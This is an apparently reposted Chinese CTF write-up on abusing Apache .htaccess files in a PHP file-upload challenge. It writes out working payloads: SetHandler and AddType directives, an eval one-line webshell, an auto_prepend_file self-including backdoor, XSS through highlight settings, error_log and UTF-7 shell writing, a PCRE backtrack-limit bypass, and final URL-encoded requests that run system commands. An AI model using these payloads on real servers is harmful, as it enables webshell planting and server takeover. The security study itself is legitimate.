%3c php 连接数据库,深究.htaccess的原理,和用户利用其恶意篡改服务器配值导致的深层安全问题...
深究.htaccess的原理,和用戶利用其惡意篡改服務器配值導致的深層安全問題
前言
搞過ctf的師傅們大多都了解到,文件上傳的時候經常使用.htaccess進行攻擊;但是只了解那淺層的概念在很多時候是行不通的,比如下面這個題;我先把源碼貼出來;(在寫之前,首先膜我懷哥一波;.)【離懷秋】
先來審計代碼,代碼邏輯不是很難;但是如果對.htaccess理解不夠透徹的話。做出這個題還是有點難度的;這個題是一道好題;服務器首先對目錄進行遍歷,然后掃描目錄下的文件,如果不是index.php的話就刪除掉;然后包含了一下fl3g.php;接下來就是我們傳入的文件內容和文件的名字了,后面對文件的內容和名字都做了過濾;最后在我們寫的文件內容之后換行并且加入了無關的字符;
這里官方給了三個解;一個預期解,另外兩個非預期;據官方交代,18個隊伍做出了此題;只有一隊用的是預期解;
探究
什么是.htaccess
.htaccess文件(或者"分布式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用于此目錄及其所有子目錄。作為用戶,所能使用的命令受到限制。管理員可以通過Apache的‘‘AllowOverride‘‘指令來設置。 這里簡明扼要的說一下,.htaccess說白了就是apache服務器中的一個配置文件;只不過它負責的是相關目錄之下的網頁配置;
.htaccess可以做什么
我們通過.htaccess文件可以做到的有:網頁301重定向,自定義404錯誤頁面,改變文件拓展名,禁止目錄列表等等;;這里來拿改變文件拓展名來說一下;一般的新手文件上傳問題;可以上傳.htaccess的;我們可以在.htaccess中寫入如下的內容;
%0aSethandler application/x-httpd-php%0a如此我們上傳一個名為s1mple的文件;里面寫入<?php eval($_POST[‘s1mple‘]);?>然后上傳,服務器就會將s1mple文件當作php來解析,因為我們上傳的s1mple文件和.htaccess文件在同一個目錄之下,然而.htaccess文件已經改變了我們這個目錄和子目錄的配置;所以我們的s1mple文件可以成功被解析利用;或者寫入AddType application/x-httpd-php .jpg;將jpg文件當作php來解析;這很簡單;不在過多的贅述;
.htaccess進階研究
利用.htaccess構成后門;
1.文件包含;php_value auto_prepend_file +文件絕對路徑(默認是當前上傳的目錄);看代碼故名思意是預先包含我們的那個指定的文件;進階一下::如果我們預先包含了.htaccess文件;那么造成的效果就是我們插入的惡意代碼就會被任意包含;那么會有怎樣的效果?我們可以構造如下的代碼php_value auto_prepend_file ".htaccess"%0a#<?php phpinfo();?>直接在我們的.htaccess中寫入惡意代碼,直接包含;我們本地測試一下;拿著上面的那道題來測試一下;傳入;?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23<?php phpinfo();?> \我們看看回顯;當我們第一次傳入的時候,發現沒有觸發phpinfo。那么服務器做了什么?我們本地打開相應的文件夾看看;
原來是第一步生成了.htaccess;還沒有預加載,這里我們刷新一下頁面,成功利用;我們反觀一下.htaccess看看里面生成了什么;
這里我們可以清晰的看到里面的內容;試想,我們如果面對的是上傳的問題。并且上傳了這樣的內容,那么也就可以不用傳入其他的文件,就可以直接生成后門(本地測試過,成功);我們利用這個直接寫入一句話木馬<?php eval($_POST[‘a‘]);?>,那么可以直接利用;這里直接包含了.htaccess導致了所有文件都包含了木馬;
兩張圖片證明利用成功;dir可以列出很多敏感信息;打碼打碼~~~~;buu的題,用這種方法直接日穿;;附圖如下:
這就是解決這個問題的方法一;;;;;;
2..htaccess造成的xss;
這種情況就比較有意思;我們在我們的.htaccess中加入這樣的代碼;php_value highlight.html ‘">‘然后訪問index.php.這里發現成功彈窗;
這里只能彈一次,因為我們的index.php中有一個unlink函數,這個函數可以刪除我們該目錄之下的非index.php文件,所以我們的.htaccess也就被刪除了;
下面檢測很多都可以進行xss;
(還有一個highlight.string 也可以進行彈窗,這里隨后才加的,就沒有復現;師傅們可以復現試試;)
經過測試,如上的都可以進行彈窗進行xss;(這里highlight.comment這個方法,在我的環境中無法彈窗,猜測可能是php版本的問題;)那么我們思路就來了,可以用xss反彈shell;這里不演示了;hhhh
3.htaccess篡改引擎導致源碼泄露;
實驗一下,比如我刪除這個題中的高亮顯示的代碼;這樣就不會顯示源碼,這里我們通過篡改服務器解析引擎,來進行顯示源碼,這里其實我們只需要將解析引擎關掉就可;在.htaccess中鍵入如下的代碼;
實驗看到這里代碼已經顯示出來了;我們刪除了箭頭指向的地方;那里原本是highlight_file(__FILE__)現在刪除了之后還可以顯示代碼,是因為我們關閉了php的處理引擎,使其不能工作,所以這里就顯示了源碼;這里代碼里還有個unlink函數,但是刷新多遍代碼依然沒有執行,是因為.htaccess依然存在,存在的原因就是我們代碼失去了工作引擎,導致不會被解析;也就不會刪除我們的.htaccess代碼;可見.htaccess是神兵利器;!!!
4.htaccess重定義報錯文件和自定義包含路徑;
這種方法也是這道題的另外一種解法,是標準的解法;
先來探究一下自定義報錯文件的情況,看代碼里面是一定會有報錯出現的,因為沒有fl3g.php的存在;所以我們這里修改.htaccess為php_value error_log G:\phpstudy\tmp\fl3g.php這里刷新頁面,然后發現報錯;
我們看看效果;進到相關目錄之下,發現fl3g.php,打開發現確實是報錯的內容;
我們現在思路基本有了,利用error_log自定義報錯記錄文件,寫入shell;那么怎么寫入呢?這里我們想到;因為沒有fl3g.php文件他會報錯,這里我們自定義一個包含的路徑,如果沒有的話,那么也會進行報錯,那么服務器也就會將兩個信息同時寫入到我們的報錯文件之中;我們實驗一下,發現確實是的;這里使用utf7進行編碼的原因是我們寫入報錯文件的內容會經過html編碼,所以這里用utf7進行編碼繞過去;避免其被編碼;設置報告級別為32767的原因是報告所有可能出現的錯誤,確保我們可以寫入木馬;;
現在我們已經在服務器里留下了一句話木馬(如上圖),現在就是要觸發這個木馬了。那就開始我們的第二步;因為我們這里已經有了fl3g.php而且不會被刪除,所以這里我們可以自定義包含路徑為我們fl3g.php的路徑,這里還有個問題,我們的木馬怎么被解析,所以這里我們就要首先檢驗文件是否具有unicode的內容,然后就是自定義編碼方式了 php_value zend.script_encoding配置服務器的相關目錄文件內容為utf7編碼,然后包含就會進行相應的識別解碼;最后就執行了木馬;
所以整體的流程就是;首先自定義錯誤日志進行寫馬,這里為了全面的寫入,采用32767級別的報錯;然后繞過
成功利用;
第三種解題方法:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
上傳.htaccess寫入如上的內容,解釋一下, 設置正則回朔次數來使正則匹配的結果返回為false而不是0 ;從而可以繞過正則,直接寫馬寫入fl3g.php就可以;這里因為我們剛訪問頁面的fl3g.php就被刪了,所以這里再次寫入不會被刪除;就ok了getshell;網上有具體的方法,這里不寫了
payload放出來:?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa&filename=.htaccess
?a=system(%27cat%20/flag%27);exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess(這個攻擊兩次,要讓.htaccess生效) ;;要去復習了,不然掛科了;~~~~
深究.htaccess的原理,和用戶利用其惡意篡改服務器配值導致的深層安全問題
標簽:處理???不能???pst???全面???access???back???導致???構造???訪問
本條技術文章來源于互聯網,如果無意侵犯您的權益請點擊此處反饋版權投訴
本文系統來源:https://www.cnblogs.com/Wanghaoran-s1mple/p/12919692.html
總結
以上是生活随笔為你收集整理的%3c php 连接数据库,深究.htaccess的原理,和用户利用其恶意篡改服务器配值导致的深层安全问题...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 地址栏中输入网址后发生了什么?
- 下一篇: uniapp输入框弹起软键盘顶起页面